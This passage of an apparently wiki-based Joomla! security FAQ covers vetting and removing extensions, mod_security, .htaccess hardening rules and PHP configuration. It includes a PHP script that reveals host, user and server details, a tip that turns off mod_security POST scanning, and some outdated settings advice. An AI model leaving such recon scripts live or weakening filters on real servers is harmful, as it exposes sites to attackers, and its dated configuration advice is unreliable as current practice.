: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.

3. Does the extension have a history of good security practices?

: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.

4. Is there a support community for this extension?

: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.

5. Is there only a Mambo version of this extension?

: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.

6. Is the extension generally bug free?

: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:

'''Bad Practices:'''

# Having PHP's Register Globals enabled.
# Using out of date or abandoned extension.
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)
# Poorly configured file permissions.
# No request filtering or software "firewall". (such as mod_rewrite rules or mod_security Apache modules)

'''Bugs:'''

# Not including defined('_VALID_MOS') or die... statements
# Poorly constructed include() statements.

'''Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.'''

1. How complex is the extension?

: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can't tell what it's doing, you should not trust it.

2. Does the extension read or write files to your server?

: Programs that read files may inadvertently violate access restrictions you've set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.

3. Does the extension interact with other programs on your system?

: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?

4. Does the extension run with suid (set-user-id) privileges?

: In general this is very dangerous; extensions need an excellent reasons for doing this.

5. Does the extension validate all user input, such as in form fields and in the URL?

6. Does the extension use explicit path names when invoking external programs?

: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.

7. Is the extension secure against direct access throught the URL?

: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here

8. Is the extension secure against remote file inclusions?

9. Is the extension secure against SQL injections?

10. Is the extension secure against Cross Site Scripting (XSS)?

11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON?

: If so, then it is probably violating number 7 above.

12. Does the extension provide higher database access to less privileged users?

: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?

==Why does the Extensions site include insecure extensions?==
'''
Overview'''

The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.

If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.

To be safe, you must verify the security of every extension you install.

Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril.

'''Disclaimer'''

: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.

: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.

==Why is there a warning in the extensions install screen?==

It's just a warning! You are of course free to install any extension you want onto your own site, but remember that '''YOU''' are responsible for the safety of your site and the quality of the applications you install.

The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension's code.

The [[Vulnerable Extensions List]] is a valuable source of information on what '''NOT''' to install.

==Why isn't un-publishing a vulnerable extension enough to protect my site?==

'''Overview'''

: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension's files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.

www.your_site.org/components/com_bad_component/vulnerable_file.php
www.your_site.org/modules/mod_bad_module/vulnerable_file.php

'''Directions for removing a vulnerable extension'''

1. Make a list of files to remove

: If you can locate it, read the extension's xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:

mod_vulnerable.php
mod_vulnerable/vulnerable_file.txt
mod_vulnerable/another_vulnerable_file.txt
mod_vulnerable/yet_another_vulnerable_file.txt
mod_vulnerable/index.html

2. Uninstall via the Joomla Installer:

: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.

3. Check that the uninstall process was complete:

: Don't trust the extension to safely remove all of it's files. Compare directories and files on your system to the extension's xml list to ensure that all related files were actually removed.

4. Optionally, remove related database tables:

: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension's xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)

= Apache =
'''Covers information on Apache Web server, Apache modules, .htaccess files, etc.'''

==What is Apache modSecurity?==

'''Overview'''

ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.

When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.

Quality hosting providers customize mod_security rules to suit each customer.

If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box ''usually'' works with typical ModSecurity settings, but this is dependent on each hosting provider's unique configuration.

Overall, mod_security is a excellent tool, but this is really something your host should manage.

One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding '''SecFilterScanPOST Off''' to your .htaccess file.

ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:

'''Resources'''

# [http://www.modsecurity.org/ Official ModSecurity Site]
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]

== How do I block directory scans using .htaccess? ==

'''Directions'''

Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with "phpMyAdmin" to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.

'''Sample Apache Rewrite Rule'''

RewriteRule ^phpMyAdmin /index.php [L]
RewriteRule ^phpMyAdmin - [F]

'''Some Regular Expression Tips'''

^ Means start of pattern
. Means any character other than newlines
+ Means one or more of the previous character
* Means zero or more of the previous character
$ Means end of pattern
\. Literal periods must be escaped with a leading \

==How can I change PHP settings using .htaccess? ==

'''Introduction'''

This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off

'''Directions'''

1. Open the .htaccess file located in your site's home directory, or if you don't have one, create a blank one now. Note the period character (.) at the beginning of the file name.

2. Add any of the following code samples to your .htaccess file, each on it's own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.

php_flag register_globals off

php_flag allow_url_fopen off

php_flag magic_quotes_gpc on

''Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.''

3. Save the .htaccess file in your site's home directory.

4. Test your site's front end and back end.

==How does FastCGI effect Joomla?==

When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone's scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.

Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server's main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.

If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.

==How can I check if mod_rewrite is enabled?==

Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.

1. Enable SEO in your administrator! (administrator > SEO > Enable > Save)

2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.

3. Place ONLY the following lines in your .htaccess file in the domain root folder.

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]</source>

4. Point your browser to: http://www.example.com/joomla.html

(Replace 'example.com' with your site's actual URL.)

5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.

6. Note: if your site is located in a folder, for example "test" you will need to modify the .htaccess file as follows:

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]</source>

== How do I switch to PHP5 using .htaccess? ==

'''Overview'''

Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.

'''IMPORTANT CAVEAT:''' One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!

Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.

'''Requirements'''

1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.

'''Directions'''

1. Check to be sure your site is configured to use .htaccess files.

2. Make a backup of the .htaccess file in your root public_http directory. If you don't have a .htaccess file at this location, create one now.

3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.

AddType x-mapp-php5 .php
AddHandler application/x-httpd-php5 .php
AddHandler cgi-php5 .php

4. Carefully test.

5. Delete the backup .htaccess file. Don't leave backups of .htaccess files in public directories.

==How do I password protect directories using .htaccess?==

'''Overview'''

This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.

'''Caveat (From Apache.org)'''

Basic authentication should not be considered secure for any particularly rigorous definition of secure.
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.

Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.

And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.

Don't use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.

Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.

'''Directions'''

1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.
Apache Authentication, Authorization, and Access Control

2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.

3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it's probably best to add the new code to it.

4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.

/home/mysite/public_html/.htaccess
/home/mysite/auth/.htpasswd/
/home/mysite/auth/.htgroups/

5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you've read the always current and official documentation at Apache.org, we'll spare you the trouble of displaying it again here.)

6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don't forget the dot at the beginning of the name.)

7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.

AuthUserFile /home/auth/.htpasswd
AuthGroupFile /home/auth/.htgroups
AuthType Basic
AuthName "LWS"
require group admins

8. Test carefully.

9. Remove all backup .htaccess files from public_http directories.

10. If you cannot use the Apache htpasswd utility, here's a free, online script that creates the necessary files for you. You'll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you'll need to edit the resulting files.

'''.htaccess Generator:''' http://www.webmaster-toolkit.com/htaccess-generator.shtml

== How do I restrict directory access by IP address using .htaccess? ==

'''Overview'''

This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.

'''Directions'''
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:

Order Deny,Allow
Deny from all
Allow from 100.100.100.100

* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.

* Optional: You can add multiple addresses by separating them with comma's.

100.100.100.101, 100.100.100.102

==How do I convert an htaccess.txt file into a .htaccess file?==

'''Introduction'''

When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need "AllowOverride Options" or "AllowOverride All" privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.

'''Directions'''

# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.
# Make any adjustments to this file as appropriate for your site, and then save it in your site's home directory as, .htaccess (including the dot).
# Test your site's front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.

'''More Information'''

* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]

== How do I block direct hot linking to image files using .htaccess? ==

'''Caveats'''

# Your server must allow .htaccess files for this technique to work.
# If you do not have a .htaccess file in your root directory, see the related FAQ first.
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.
# Hot linked images can only be replaced by other images, not with HTML pages.
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.

'''Directions'''

# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.
# Place the following code in the .htaccess file of your root directory.

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]</source>

'''Explanation'''

The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means "aNy Case", which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.

'''Block hot linking from specific domains'''

To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]</source>

You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means "Or Next", as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.

'''Display a 403 forbidden code'''

Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:

RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]

= PHP =

== Why is Joomla! written in PHP? ==

: Might as well get it from the horse's mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.

: ''"What it all boils down to is that PHP was never meant to win any beauty contests. It wasn't designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP's stubborness."''

== What is the latest stable release of PHP? ==

Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.

== How do I tune for speed with PHP5 and MySQL5? ==

: This is just a point by point summary of how I've been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.

: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.

# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn't bad for JPG and GIF images either. Don't forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn't write it, but it's short, to the point, and works.

ob_start ("ob_gzhandler");
header("Content-type: text/css");
header("Cache-Control: must-revalidate");
$offset = 60 * 60 ;
$ExpStr = "Expires: " .
gmdate("D, d M Y H:i:s",
time() + $offset) . " GMT";
header($ExpStr);

# Strip unneeded modules, components, mambots from Joomla. If you haven't used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don't necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you've noticed any problems, it's time to fix the code creating them, and test thoroughly before uploading the fixed versions.
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.

== Should PHP run as a CGI script or as an Apache module? ==

There are two ways to configure Apache to use PHP: 

# Configure Apache to load the PHP interpreter as an Apache module
# Configure Apache to run the PHP interpreter as a CGI binary

(PS: Windows IIS normaly configures as CGI by the way) 

It is the intention of this post to provide you information relating to
the configuration and recognition of each method. "In general"
historically only one method or the other has been implemented,
however, with the architectural changes made to PHP starting with PHP5,
it has been quite common for hosting firms to configure for both. One
version running as CGI and one version running as a Module. It is
generally accepted more recently that running PHP as a CGI is more
secure, however, running PHP as an Apache Module does have a slight
performance gain and is generally how most pre-configured systems will
be delivered out of the box.

What is the difference between CGI and apache Module Mode? 

An Apache module
is compiled into the Apache binary, so the PHP interpreter runs in the
Apache process, meaning that when Apache spawns a child, each process
already contains a binary image of PHP. A CGI is executed as a single
process for each request, and must make an exec() or fork() call to the
PHP executable, meaning that each request will create a new process of
the PHP interpreter. Apache is much more efficient in it's ability to
handle requests, and maaging resources, making the Apache module
slightly faster than the CGI (as well as more stable under load). 

CGI Mode
on the other hand, is more secure because the server now manages and
controls access to the binaries. PHP can now run as your own user
rather than the generic Apache user. This means you can put your
database passwords in a file readable only by you and your php scripts
can still access it! The "Group" and "Other" permissions ( refer <a href="component/option,com_easyfaq/task,view/id,73/Itemid,268/" target="_blank">Permissions FAQ</a>

can now be more restrictive. CGI mode is also claimed to be more
flexible in many respects as you should now not see, with phpSuExec (
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html" target="_blank Permissions under phpSuExec]
issues with file ownership being taken over by the Apache user,
therefore you should no-longer have problems under FTP when trying to
access or modify files that have been uploaded through a PHP interface,
such as Joomla! upload options.

If your server is
configured to run PHP as an Apache module, then you will have the
choice of using either php.ini or Apache .htaccess files, however, if
your server runs PHP in CGI mode then you will only have the choice of
using php.ini files locally to change settings, as Apache is no longer
in complete control of PHP.

<hr />

Testing and Reviewing Your PHP Installation 

Also known as "Everything you ever wanted and didn't want to know about PHP"

To
find out the PHP interpreter mode and to generally test your PHP
installation and to find out a vast amount of information about your
PHP environment, supported utilities, applications and settings, you
create a single PHP file containing only the following lines; 


phpinfo(); 

This single line of code outputs an amazing amount of information, be warned.... <img src="http://forum.joomla.org/Smileys/joomla/wink.gif" alt="Wink" border="0" />

Save the file as any filename you wish, but with the ".php" extension. FTP it to your server and open it in a browser.

Other useful information

The following are PHP functions, that when run from a PHP File can provide some useful information, (less than the above option) many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee's offered...

Again,
as above, make a file, name it anything you wish but make sure it has
the ".php" extension, copy and paste the following lines in to it and
FTP to your server. 

<? echo "Hostname: ". @php_uname(n) ."";
if (function_exists( 'shell_exec' )) { echo "Hostname: ".
@gethostbyname(trim(`hostname`)); } else { echo "Server IP: ".
$_SERVER['SERVER_ADDR'] .""; }
echo "Platform: ". @php_uname(s) ." ". @php_uname(r) ." ". @php_uname(v) ."";
echo "Architecture: ". @php_uname(m) ."";
echo "Username: ". get_current_user () ." ( UiD: ". getmyuid() .", GiD: ". getmygid() ." )";
echo "Curent Path: ". getcwd () ."";
echo "Server Type: ". $_SERVER['SERVER_SOFTWARE'] . "";
echo "Server Admin: ". $_SERVER['SERVER_ADMIN'] . "";
echo "Server Signature: ". $_SERVER['SERVER_SIGNATURE'] ."";
echo "Server Protocol: ". $_SERVER['SERVER_PROTOCOL'] ."";
echo "Server Mode: ". $_SERVER['GATEWAY_INTERFACE'] .""; 
?>

The Joomla! HISA or Joomla! Tools Suite can also assist to determine which mode your server in running in, also
providing a large amount of other related information including
recommendations on configuration; 
 

Joomla! Tools Suite (JTS) is a complete "Suite" of Tools to help you troubleshoot and maintain Joomla! and include the "HISA" script 
<a href="http://joomlacode.org/gf/project/jts/" target="_blank">Download JTS Here</a> 
 
Joomla! Health, Installation and Security Audit (HISA) is a single standalone script that provides purely configuration information. 
<a href="http://joomlacode.org/gf/project/hisa/" target="_blank">Download HISA Here</a> 
 
<a href="http://forum.joomla.org/index.php/topic,136328.0.html" target="_blank">Forum Discussion Here</a> 
<a href="http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html" target="_blank">How to TroubleShoot A Joomla! Installation</a> 
 
Another Indirect method,
and possibly not 100% reliable, is that if you are unable to make use
of .htaccess on Linux hosting and Apache based servers then you are
either running in CGI mode or your host has disabled the use of
.htaccess even if your server is running PHP as an Apache Module. 

Remove these files immediately after use, the information contained in their
output is extensive and explicit regarding your PHP and server
configurations, it will help those wishing to cause your site harm 

For those wishing to know more about "How To..."

Running PHP as an Apache module 
To configure Apache to load PHP as a module to 'parse'
your PHP scripts, the httpd.conf needs to be modified, typically found
in "c:\Program Files\Apache Group\Apache\conf\" or "/etc/httpd/conf/". 

Search for the section of the file that has a series of commented out
"LoadModule" statements. (Statements prefixed by the hash "#" sign are
regarded as having been commented out.) If PHP is running in "Apache
Module" Mode you should see something very similar to the following; 

LoadModule php4_module "c:/php/php4apache.dll" 

Apache 1.x

For PHP5
LoadModule php5_module C:/php/php5apache2.dll 
or (platform dependant) 
LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4 

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 

LoadModule php4_module C:/php/php4apache.dll 

and 
AddModule mod_php4.c 
or 
AddModule mod_php5.c 
 
Apache 2.x 

For PHP5

LoadModule php5_module C:/php/php5apache2.dll 

or (platform dependant)

LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4 

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 
LoadModule php4_module C:/php/php4apache.dll 

and 
AddModule mod_php5.c 

or 
AddModule mod_php4.c 

Note: 
Don't worry that you can't find a "mod_php4.c" or "mod_php5.c" file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server. 

If you're using Apache 2.x, you do not have to insert the AddModule directive. It's no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.

Now find the "AddType" section in the file, and add the following line after the last "AddType" statement:

AddType application/x-httpd-php .php 

If you need to support other file types, like ".php3" and ".phtml", simply add them to the list, like this:<

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Run a syntax check and if all is ok, restart Apache... 

<hr />
Running PHP as a CGI binary 
To configure PHP to run as a CGI, again you will need to configure the
httpd.conf, but confirm that the above settings are not also
configured, unless you now what you are doing you can generate yourself
"HTTP 500" errors. Search your Apache configuration file for the
"ScriptAlias" section.

Add the following line below after the ScriptAlias for "cgi-bin". 

Note:

The location will depend on where PHP is installed on your system, you
should substitute the appropriate path in place of "c:/php/" (for
example, "c:/Program Files/php/"). 

ScriptAlias /php/ "c:/php/" 

Apache
again needs to be configured for the PHP MIME type. Search for the
"AddType" section, and add the following line after it: 

 
AddType application/x-httpd-php .php 
 
As
in the case of running PHP as an Apache module, you can add whatever
extensions you want Apache to recognise as PHP scripts, such as: 
 
AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 
 
 
Next,
you will need to tell the server to execute the PHP executable each
time it encounters a PHP script. Add the following below any existing
entries in the "Action" section. 

 
Action application/x-httpd-php "/php/php.exe" 
 
If
you notice, we have used the "ScriptAlias" reference, "/php/" portion
will be recognised as the scriptAlias configured above, this is sort a
path alias which will correlate to your PHP installation path
configured previously. In other words, don't put "c:/php/php.exe"
or "c:/Program Files/php/php.exe" in that directive, put

"/php/php.exe", Apache WILL work it out if correctly configured. 
<hr />
 
 
Configuring the Default Index Page 
This section applies to all users, whether you are loading PHP as a module
or running it as a CGI binary, and has been seen often enough to
warrant a mention. 
 
If you want to make your PHP script execute
as the default page for a directory, you have to add another line to
the "httpd.conf". Simply search for the line in the file that begins
with a "DirectoryIndex" and add "index.php" to the list of files on
that line. For example, if the line used to be: 

 
DirectoryIndex index.html 
 
change it to 
 
DirectoryIndex index.html index.php 
If you still wish .html files to be executed before .php files 
 
or 
DirectoryIndex index.php index.html 
If you wish .php files to be executed before .html files 

 
The next time you access the site or a directory within a site without a
filename, Apache will "auto-magically" deliver "index.php" if
available, or "index.html" if "index.php" is not available.

== Why shouldn't I use PHP safe_mode? ==

'''Overview'''

Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.

The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.

Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.

'''From the official PHP site'''

''"The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren't very realistic, many people, especially ISP's, use safe mode for now."''
'''
More Information'''

# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]

= Development =

== How do I setup a secure demo site? ==

In /includes/version.php look for:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 1;
